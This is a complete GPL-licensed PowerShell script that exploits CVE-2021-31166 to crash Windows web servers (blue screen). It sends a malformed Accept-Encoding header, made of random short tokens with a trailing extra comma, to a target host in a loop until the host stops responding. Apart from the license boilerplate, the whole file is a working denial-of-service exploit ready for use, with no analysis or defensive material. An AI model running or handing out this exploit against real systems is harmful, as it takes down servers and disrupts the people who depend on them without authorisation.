CVE-2021-31166.ps1

###################
#    This script exploit the CVE-2021-31166 for a DOS (Denial of Service) attack (Blue Screen).
#    Copyright (C) 2022  Maurice Lambert

#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.

#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.

#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <https://www.gnu.org/licenses/>.
###################

[CmdletBinding()]
param(
    [Parameter(Mandatory)]
    [string] $target
)

$license = "GPL-3.0 License"
$copyright = @"
CVE-2021-31166  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. 
"@

write "`n$copyright`n"

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62"

$payload = ""
$counter = 0;
$number = $((1..6) | Get-Random)
do {
   $payload = $payload + $(-join ((97..122) | Get-Random -Count $((2..5) | Get-Random) | % {[char]$_})) + ", "
   $counter += 1
} while($counter -lt $number)

$payload += ","

$headers = @{
    "Accept-Encoding"=$payload
}


$ErrorActionPreference="Stop"
while(1) {
	try {
		$_=Invoke-WebRequest -UseBasicParsing -Uri "http://$target/" -WebSession $session -Headers $headers -TimeoutSec 10
	} catch {
		break
	}
}